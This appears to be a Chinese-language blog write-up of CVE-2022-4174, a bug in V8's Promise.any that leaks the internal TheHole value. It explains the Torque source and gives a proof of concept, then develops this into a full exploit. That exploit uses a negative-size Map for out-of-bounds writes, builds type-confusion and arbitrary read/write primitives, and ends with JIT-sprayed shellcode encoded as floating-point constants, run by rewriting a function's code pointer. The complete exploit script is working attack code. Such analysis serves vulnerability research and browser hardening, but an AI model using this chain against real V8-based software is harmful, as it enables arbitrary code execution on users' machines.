CVE-2022-4174由@Kipreyyy 发现,成果发布在Black Hat USA 2023 上,本文主要参考了他们的slides 和文章 ,exp 部分参考了@sky123 师傅的博客 ,有能力的读者请直接阅读原文
环境搭建 1 2 3 git checkout 9.7.106.19 gclient sync tools/dev/gm.py x64.release
漏洞分析 Promise.any 方法
关于 JS 的 Promise
对象参考官方文档
关于 Promise.any
方法,有能力的读者可以阅读官方文档
Promise.any(itearble)
方法会迭代所有传入参数中的 Promise
,将它们通过 then
函数组合成一个新的 Promise
。当任意一个输入的 Promise
被 resolved
时,新 Promise
被 resolved
; 如果所有输入的 Promise
都被 rejected
,则新 Promise
会被 rejected
,且抛出的错误是一个 AggregateError
数组,每个元素对应一个被 rejected
的操作所抛出的 error
。
在 v8 中对 Promise.any()
的实现在 v8/src/builtins/promise-any.tq
里,如下
PromiseAny() 这个函数不是重点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 transitioning javascript builtin PromiseAny ( js-implicit context: Context, receiver: JSAny) (iterable: JSAny) : JSAny { const nativeContext = LoadNativeContext (context); const receiver = Cast <JSReceiver>(receiver) otherwise ThrowTypeError (MessageTemplate::kCalledOnNonObject, 'Promise.any' ); const capability = NewPromiseCapability (receiver, False); dcheck (Is <Constructor>(receiver)); const constructor = UnsafeCast <Constructor>(receiver); try { const promiseResolveFunction = GetPromiseResolve (nativeContext, constructor); const iteratorRecord = iterator::GetIterator (iterable); return PerformPromiseAny ( nativeContext, iteratorRecord, constructor, capability, promiseResolveFunction) otherwise Reject; } catch (e) deferred { goto Reject (e) ; } label Reject (e: Object) deferred { dcheck (e != TheHole); Call ( context, UnsafeCast <Callable>(capability.reject), Undefined, UnsafeCast <JSAny>(e)); return capability.promise; } }
用 receiver
也就是 this
对象构建 PromiseCapability
对象
取 Promise.resolve
调用 PerformPromiseAny()
核心逻辑在该函数实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 transitioning macro PerformPromiseAny (implicit context: Context) ( nativeContext: NativeContext, iteratorRecord: iterator::IteratorRecord, constructor: Constructor, resultCapability: PromiseCapability, promiseResolveFunction: JSAny) : JSAny labelsReject(Object) { const rejectElementContext = CreatePromiseAnyRejectElementContext (resultCapability, nativeContext); let index: Smi = 1 ; try { const fastIteratorResultMap = *NativeContextSlot ( nativeContext, ContextSlot::ITERATOR_RESULT_MAP_INDEX); while (true ) { let nextValue: JSAny; try { const next: JSReceiver = iterator::IteratorStep ( iteratorRecord, fastIteratorResultMap) otherwise goto Done; nextValue = iterator::IteratorValue (next, fastIteratorResultMap); } catch (e) { goto Reject (e) ; } if (index == kPropertyArrayHashFieldMax) { ThrowRangeError ( MessageTemplate::kTooManyElementsInPromiseCombinator, 'any' ); } let nextPromise: JSAny; nextPromise = CallResolve (constructor, promiseResolveFunction, nextValue); const rejectElement = CreatePromiseAnyRejectElementFunction ( rejectElementContext, index, nativeContext); const remainingElementsCount = *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot); *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot) = remainingElementsCount + 1 ; let thenResult: JSAny; const then = GetProperty (nextPromise, kThenString); thenResult = Call ( context, then, nextPromise, UnsafeCast <JSAny>(resultCapability.resolve), rejectElement); index += 1 ; if (IsDebugActive () && Is <JSPromise>(thenResult)) deferred { SetPropertyStrict ( context, thenResult, kPromiseHandledBySymbol, resultCapability.promise); SetPropertyStrict ( context, rejectElement, kPromiseForwardingHandlerSymbol, True); } } } catch (e) deferred { iterator::IteratorCloseOnException (iteratorRecord); goto Reject (e) ; } label Done {} const remainingElementsCount = -- *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot); if (remainingElementsCount == 0 ) deferred { const errors: FixedArray = *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementErrorsSlot); const error = ConstructAggregateError (errors); goto Reject (error) ; } return resultCapability.promise; }
总结下来做了这些事情:
创建上下文 PromiseAnyRejectElementContext
并初始化:
kPromiseAnyRejectElementRemainingSlot = 1
kPromiseAnyRejectElementCapabilitySlot = resultCapability
kPromiseAnyRejectElementErrorsSlot = kEmptyFixedArray
$~~~$该数组的元素类型为 TheHole
,之后的 AggregateError
在这里初始化0
kPromiseAnyRejectElementLengthSlot
迭代处理每个传入的 Promise
:
先调用 Promise.resolve
处理 Promise
构造一个 PromiseAnyRejectElementFunction
类型的函数 rejectElement
并把 kPromiseAnyRejectElementRemainingSlot
加 1
调用 Promise.then
,如果 resolved
则调用 resultCapability.resolve
,如果 rejected
则调用 rejectElement
这里的 resultCapability.resolve
和 Promise.resolve
不同,和 PromiseAnyRejectElementFunction
类似都是个动态创建的闭包,具体可参考
迭代处理完成后,将 kPromiseAnyRejectElementRemainingSlot
减 1 后判定是否为 0 ,如果为 0 则说明 Promise
全部被 rejected
,构造 errors 数组 AggregateError
, 调用 Promise.reject
方法返回结果 Promise
且抛出错误
PromiseAnyRejectElementClosure() 在迭代处理中的 Promise
被 rejected
后会调用 rejectElement
函数,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 transitioning javascript builtin PromiseAnyRejectElementClosure ( js-implicit context: Context, receiver: JSAny, target: JSFunction) (value: JSAny) : JSAny { if (IsNativeContext (context)) deferred { return Undefined; } dcheck ( context.length == SmiTag ( PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementLength)); const context = %RawDownCast <PromiseAnyRejectElementContext>(context); const nativeContext = LoadNativeContext (context); target.context = nativeContext; dcheck (kPropertyArrayNoHashSentinel == 0 ); const identityHash = LoadJSReceiverIdentityHash (target) otherwise unreachable; dcheck (identityHash > 0 ); const index = identityHash - 1 ; let errors = *ContextSlot ( context, PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementErrorsSlot); let remainingElementsCount = *ContextSlot ( context, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot); const newCapacity = IntPtrMax (SmiUntag (remainingElementsCount), index + 1 ); if (newCapacity > errors.length_intptr) deferred { errors = ExtractFixedArray (errors, 0 , errors.length_intptr, newCapacity); *ContextSlot ( context, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementErrorsSlot) = errors; } errors.objects[index] = value; remainingElementsCount = remainingElementsCount - 1 ; *ContextSlot ( context, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot) = remainingElementsCount; if (remainingElementsCount == 0 ) { const error = ConstructAggregateError (errors); const capability = *ContextSlot ( context, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementCapabilitySlot); Call (context, UnsafeCast <Callable>(capability.reject), Undefined, error); } return Undefined; }
总结下来做了这些事情:
取 index
为 Promise
的 index
减 1 (因为后者是从 1 开始的)
计算 newCapacity
为 remainingElementsCount
和 index + 1
二者的最大值
如果 newCapacity
大于原 errors
数组的大小,则扩充
erros
数组 index
处赋值为对应 Promise
的 error
remainingElementsCount
减 1
漏洞成因 当所有 Promise 被 rejected
时, Promise.any
会抛出一个 error
数组 AggregateError
。那么 Promise.any
如何判断 Promise
是否全部被 rejected
呢?
在 PerformPromiseAny
中初始化上下文:
1 2 const rejectElementContext = CreatePromiseAnyRejectElementContext (resultCapability, nativeContext);
其中将 kPromiseAnyRejectElementRemainingSlot
初始化为 1 ,以防止在迭代期间,第一个同步被 rejected
的输入 Promise
错误地导致之后的 Promise
被拒绝
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 transitioning macro CreatePromiseAnyRejectElementContext ( implicit context: Context) ( capability: PromiseCapability, nativeContext: NativeContext) : PromiseAnyRejectElementContext { const rejectContext = %RawDownCast <PromiseAnyRejectElementContext>( AllocateSyntheticFunctionContext ( nativeContext, PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementLength)); InitContextSlot ( rejectContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot, 1 ); InitContextSlot ( rejectContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementCapabilitySlot, capability); InitContextSlot ( rejectContext, PromiseAnyRejectElementContextSlots::kPromiseAnyRejectElementErrorsSlot, kEmptyFixedArray); return rejectContext; }
在 PerformPromiseAny
中调用 Promise.then
之前将 kPromiseAnyRejectElementRemainingSlot
加 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const remainingElementsCount = *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot); *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot) = remainingElementsCount + 1 ; let thenResult: JSAny; const then = GetProperty (nextPromise, kThenString);thenResult = Call ( context, then, nextPromise, UnsafeCast <JSAny>(resultCapability.resolve), rejectElement);
若 Promise
被 rejected
,会调用 Promise.then
的 reject
回调 PromiseAnyRejectElementClosure
将 kPromiseAnyRejectElementRemainingSlot
减 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 let remainingElementsCount = *ContextSlot ( context, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot); const newCapacity = IntPtrMax (SmiUntag (remainingElementsCount), index + 1 );if (newCapacity > errors.length_intptr) deferred { errors = ExtractFixedArray (errors, 0 , errors.length_intptr, newCapacity); *ContextSlot ( context, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementErrorsSlot) = errors; } errors.objects[index] = value; remainingElementsCount = remainingElementsCount - 1 ;
若 PerformPromiseAny
中结束迭代时 kPromiseAnyRejectElementRemainingSlot
回到 1 ,则说明 Promise
全部被 rejected
,抛出错误数组 AggregateError
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const remainingElementsCount = -- *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementRemainingSlot); if (remainingElementsCount == 0 ) deferred { const errors: FixedArray = *ContextSlot ( rejectElementContext, PromiseAnyRejectElementContextSlots:: kPromiseAnyRejectElementErrorsSlot); const error = ConstructAggregateError (errors); goto Reject (error) ; }
但是由于 kPromiseAnyRejectElementRemainingSlot
被初始化为 1 ,在 PromiseAnyRejectElementClosure
中计算 newCapacity
时使用的 remainingElementsCount
将比实际值大 1 ,于是在创建 errors
数组时会多出一个元素,该元素未初始化,为 TheHole
类型,并且可以泄露出来。
漏洞触发 PoC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 var log = console .log ;class CraftPromise { static resolve (val ) { log ("3. craft_promise.resolve is called" ); return val; } static reject (err ) { log ("5. final reject handler is called, args AggregateError" , err); %DebugPrint (err.errors [1 ]); } constructor (PromiseGetCapabilitiesExecutor ) { log ("2. craft_promise is called before calling PromiseGetCapabilitiesExecutor" ); PromiseGetCapabilitiesExecutor (CraftPromise .resolve , CraftPromise .reject ); } } let input_promise = { then (resolve, PromiseAnyRejectElementClosure ) { log ("4. input_promise then" ); PromiseAnyRejectElementClosure (); } } log ("======================== OUTPUT ========================" );log ("1. before Promise.any" );Promise .any .call (CraftPromise , [input_promise]);
漏洞利用 构造 -1 长度的 JSMap
到越界读写 当用户从 JSMap
中删除一个元素时,相应的槽会被填充为 TheHole
值,同时更新相关计数器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 TF_BUILTIN (MapPrototypeDelete, CollectionsBuiltinsAssembler) { ... TryLookupOrderedHashTableIndex <OrderedHashMap>( table, key, &entry_start_position_or_hash, &entry_found, ¬_found); ... BIND (&entry_found); StoreFixedArrayElement ( table, entry_start_position_or_hash.value (), TheHoleConstant (), UPDATE_WRITE_BARRIER, kTaggedSize * OrderedHashMap::HashTableStartIndex ()); StoreFixedArrayElement ( table, entry_start_position_or_hash.value (), TheHoleConstant (), UPDATE_WRITE_BARRIER, kTaggedSize * (OrderedHashMap::HashTableStartIndex () + OrderedHashMap::kValueOffset)); const TNode<Smi> number_of_elements = SmiSub ( CAST (LoadObjectField (table, OrderedHashMap::NumberOfElementsOffset ())), SmiConstant (1 )); StoreObjectFieldNoWriteBarrier ( table, OrderedHashMap::NumberOfElementsOffset (), number_of_elements); const TNode<Smi> number_of_deleted = SmiAdd ( CAST (LoadObjectField ( table, OrderedHashMap::NumberOfDeletedElementsOffset ())), SmiConstant (1 )); StoreObjectFieldNoWriteBarrier ( table, OrderedHashMap::NumberOfDeletedElementsOffset (), number_of_deleted); const TNode<Smi> number_of_buckets = CAST ( LoadFixedArrayElement (table, OrderedHashMap::NumberOfBucketsIndex ())); Label shrink (this ) ; GotoIf (SmiLessThan (SmiAdd (number_of_elements, number_of_elements), number_of_buckets), &shrink); Return (TrueConstant ()); BIND (&shrink); CallRuntime (Runtime::kMapShrink, context, receiver); }
由于我们通过之前描述的漏洞获得了 TheHole
的值,首先将 TheHole
添加到 JSMap
中,然后调用 map.delete
方法。由于其键已被设置为 TheHole
,对应的条目并未被实际删除,但 number_of_elements
减少了 1。这使得我们可以多次删除 TheHole
,直到 number_of_elements
下溢为 -1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function triggerHole ( ) { let v1; function f0 (v4 ) { v4 (() => { }, v5 => { v1 = v5.errors ; }); } f0.resolve = (v6 ) => { return v6; }; let v3 = { then (v7, v8 ) { v8 (); } }; Promise .any .call (f0, [v3]); return v1[1 ]; } var map = new Map ();let hole = triggerHole (); map.set (1 , 1 ); map.set (hole, 1 ); map.delete (hole); map.delete (hole); map.delete (1 ); console .log (map.size );
OrderedHashMap
的部分内存视图如下:
Map
结构的所有 property
以及 buckets
和 element
值位于同一片连续内存中,并且 Map
元素 element
表示为: (key, value, next idx)
,bucket[n]
存放 hash 值为 n 的一个 element
元素在 elements
数组的下标,具有相同 hash 值的 element
通过 next idx
组织成链表,gdb 中的内存视图如下:
当触发漏洞构造了一个长度为 -1 的 Map
后,其内存视图如下:
此时数据结构为:
number_of_elements: -1
number_of_deleted: 0
number_of_buckets: 2
其中两个 buckets
为 -1,elements
全部为 #undefined
。
occupancy = element_count + deleted_count
表示已经被使用的条目长度。当调用 map.set
函数向 Map
写入数据时,存储新元素的实际写入地址由以下公式确定:elements_base_addr + occupancy * entrySize
。
由于 occupancy
等于 -1,因此写入的数据可以覆盖 bucket_count。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 TF_BUILTIN (MapPrototypeSet, CollectionsBuiltinsAssembler) { ... BIND (&add_entry); TVARIABLE (IntPtrT, number_of_buckets); TVARIABLE (IntPtrT, occupancy); TVARIABLE (OrderedHashMap, table_var, table); { number_of_buckets = SmiUntag (CAST (UnsafeLoadFixedArrayElement ( table, OrderedHashMap::NumberOfBucketsIndex ()))); STATIC_ASSERT (OrderedHashMap::kLoadFactor == 2 ); const TNode<WordT> capacity = WordShl (number_of_buckets.value (), 1 ); const TNode<IntPtrT> number_of_elements = SmiUntag ( CAST (LoadObjectField (table, OrderedHashMap::NumberOfElementsOffset ()))); const TNode<IntPtrT> number_of_deleted = SmiUntag (CAST (LoadObjectField ( table, OrderedHashMap::NumberOfDeletedElementsOffset ()))); occupancy = IntPtrAdd (number_of_elements, number_of_deleted); GotoIf (IntPtrLessThan (occupancy.value (), capacity), &store_new_entry); CallRuntime (Runtime::kMapGrow, context, receiver); ... Goto (&store_new_entry); } BIND (&store_new_entry); StoreOrderedHashMapNewEntry (table_var.value (), key, value, entry_start_position_or_hash.value (), number_of_buckets.value (), occupancy.value ()); Return (receiver); }
由于 elements_base_addr
的地址的计算方式是 bucket_base_addr + 4 * bucket_count
,我们可以将 bucket_count
修改为更大的值,然后再次调用 map.set
,从而导致向 Map
结构后面的内存区域进行越界写入数据。如果 Map
结构后面存在一个 JSArray
结构,我们可以利用 Map
的越界写能力来修改 JSArray
的长度,从而获得更强大的越界读写能力。
越界读写到任意地址读写 有了一个能越界的 JSArray
,布置以下布局:
先越界读出 object_array_map
和 double_array_map
通过类型混淆,构造 offset_of
原语:
1 2 3 4 5 6 function offset_of (obj ) { oob_array[2 ] = u2d (object_array_map); object_array[0 ] = obj; oob_array[2 ] = u2d (double_array_map << 32n ); return d2u (object_array[0 ]) & 0xFFFFFFFFn ; }
通过越界写 rw_array->Elements
为 &target - 8
构造任意地址读和写原语:
1 2 3 4 5 6 7 8 function read (offset ) { oob_array[22 ] = u2d ((((offset - 8n ) | 1n )) | (d2u (oob_array[22 ]) & 0xFFFFFFFF00000000n )); return d2u (rw_array[0 ]); } function write (offset, value ) { oob_array[22 ] = u2d ((((offset - 8n ) | 1n )) | (d2u (oob_array[22 ]) & 0xFFFFFFFF00000000n )); rw_array[0 ] = u2d (value); }
立即数写 shellcode 绕过沙箱 当这样一个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 function shellcode ( ) { return [ 1.930800574428816e-246 , 1.9710610293119303e-246 , 1.9580046981136086e-246 , 1.9533830734556562e-246 , 1.961642575273437e-246 , 1.9399842868403466e-246 , 1.9627709291878714e-246 , 1.9711826272864685e-246 , 1.9954775598492772e-246 , 2.000505685241573e-246 , 1.9535148279508375e-246 , 1.9895153917617124e-246 , 1.9539853963090317e-246 , 1.9479373016495106e-246 , 1.97118242283721e-246 , 1.95323825426926e-246 , 1.99113905582155e-246 , 1.9940808572858186e-246 , 1.9537941682504095e-246 , 1.930800151635891e-246 , 1.932214185322047e-246 ]; } for (let i = 0 ; i < 0x40000 ; i++) { shellcode (); }
被 JIT 优化后长这样:
其在 rwx 段内存中会写下立即数 将 shellcode 写成 jop gadget 链的形式,再以立即数写入内存:imm: inst ; jmp to next imm
改写 code_entry 到 gadget 链的入口,调用 shellcode() 后即执行我们的 shellcode
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 let array_buffer = new ArrayBuffer (0x8 );let data_view = new DataView (array_buffer);function d2u (value ) { data_view.setFloat64 (0 , value); return data_view.getBigUint64 (0 ); } function u2d (value ) { data_view.setBigUint64 (0 , value); return data_view.getFloat64 (0 ); } function hex (val ) { return '0x' + val.toString (16 ).padStart (16 , "0" ); } function shellcode ( ) { return [ 1.930800574428816e-246 , 1.9710610293119303e-246 , 1.9580046981136086e-246 , 1.9533830734556562e-246 , 1.961642575273437e-246 , 1.9399842868403466e-246 , 1.9627709291878714e-246 , 1.9711826272864685e-246 , 1.9954775598492772e-246 , 2.000505685241573e-246 , 1.9535148279508375e-246 , 1.9895153917617124e-246 , 1.9539853963090317e-246 , 1.9479373016495106e-246 , 1.97118242283721e-246 , 1.95323825426926e-246 , 1.99113905582155e-246 , 1.9940808572858186e-246 , 1.9537941682504095e-246 , 1.930800151635891e-246 , 1.932214185322047e-246 ]; } for (let i = 0 ; i < 0x40000 ; i++) { shellcode (); } function trigger ( ) { let v1; function f0 (v4 ) { v4 (() => { }, v5 => { v1 = v5.errors ; }); } f0.resolve = (v6 ) => { return v6; }; let v3 = { then (v7, v8 ) { v8 (); } }; Promise .any .call (f0, [v3]); return v1[1 ]; } let hole = trigger ();console .log (hole);var map = new Map ();map.set (1 , 1 ); map.set (hole, 1 ); map.delete (hole); map.delete (hole); map.delete (1 ); console .log (map.size ); map.set (0x16 , -1 ); var oob_array = [.1 ];var object_array = [{}];var double_array = [.1 ];var rw_array = [.1 ];map.set (0x303 , 0 ); var object_array_map = d2u (oob_array[2 ]);var double_array_map = d2u (oob_array[14 ]);console .log ("[*] object array map: " + hex (object_array_map >> 32n ));console .log ("[*] double array map: " + hex (double_array_map & 0xFFFFFFFn ));function offset_of (obj ) { oob_array[2 ] = u2d (object_array_map); object_array[0 ] = obj; oob_array[2 ] = u2d (double_array_map << 32n ); return d2u (object_array[0 ]) & 0xFFFFFFFFn ; } function read (offset ) { oob_array[22 ] = u2d ((((offset - 8n ) | 1n )) | (d2u (oob_array[22 ]) & 0xFFFFFFFF00000000n )); return d2u (rw_array[0 ]); } function write (offset, value ) { oob_array[22 ] = u2d ((((offset - 8n ) | 1n )) | (d2u (oob_array[22 ]) & 0xFFFFFFFF00000000n )); rw_array[0 ] = u2d (value); } var code_offset = read (offset_of (shellcode) + 0x18n ) & 0xFFFFFFFFn ;console .log ("[*] code offset: " + hex (code_offset));code_offset += 0x68n ; write (offset_of (shellcode) + 0x18n , code_offset);shellcode ();
References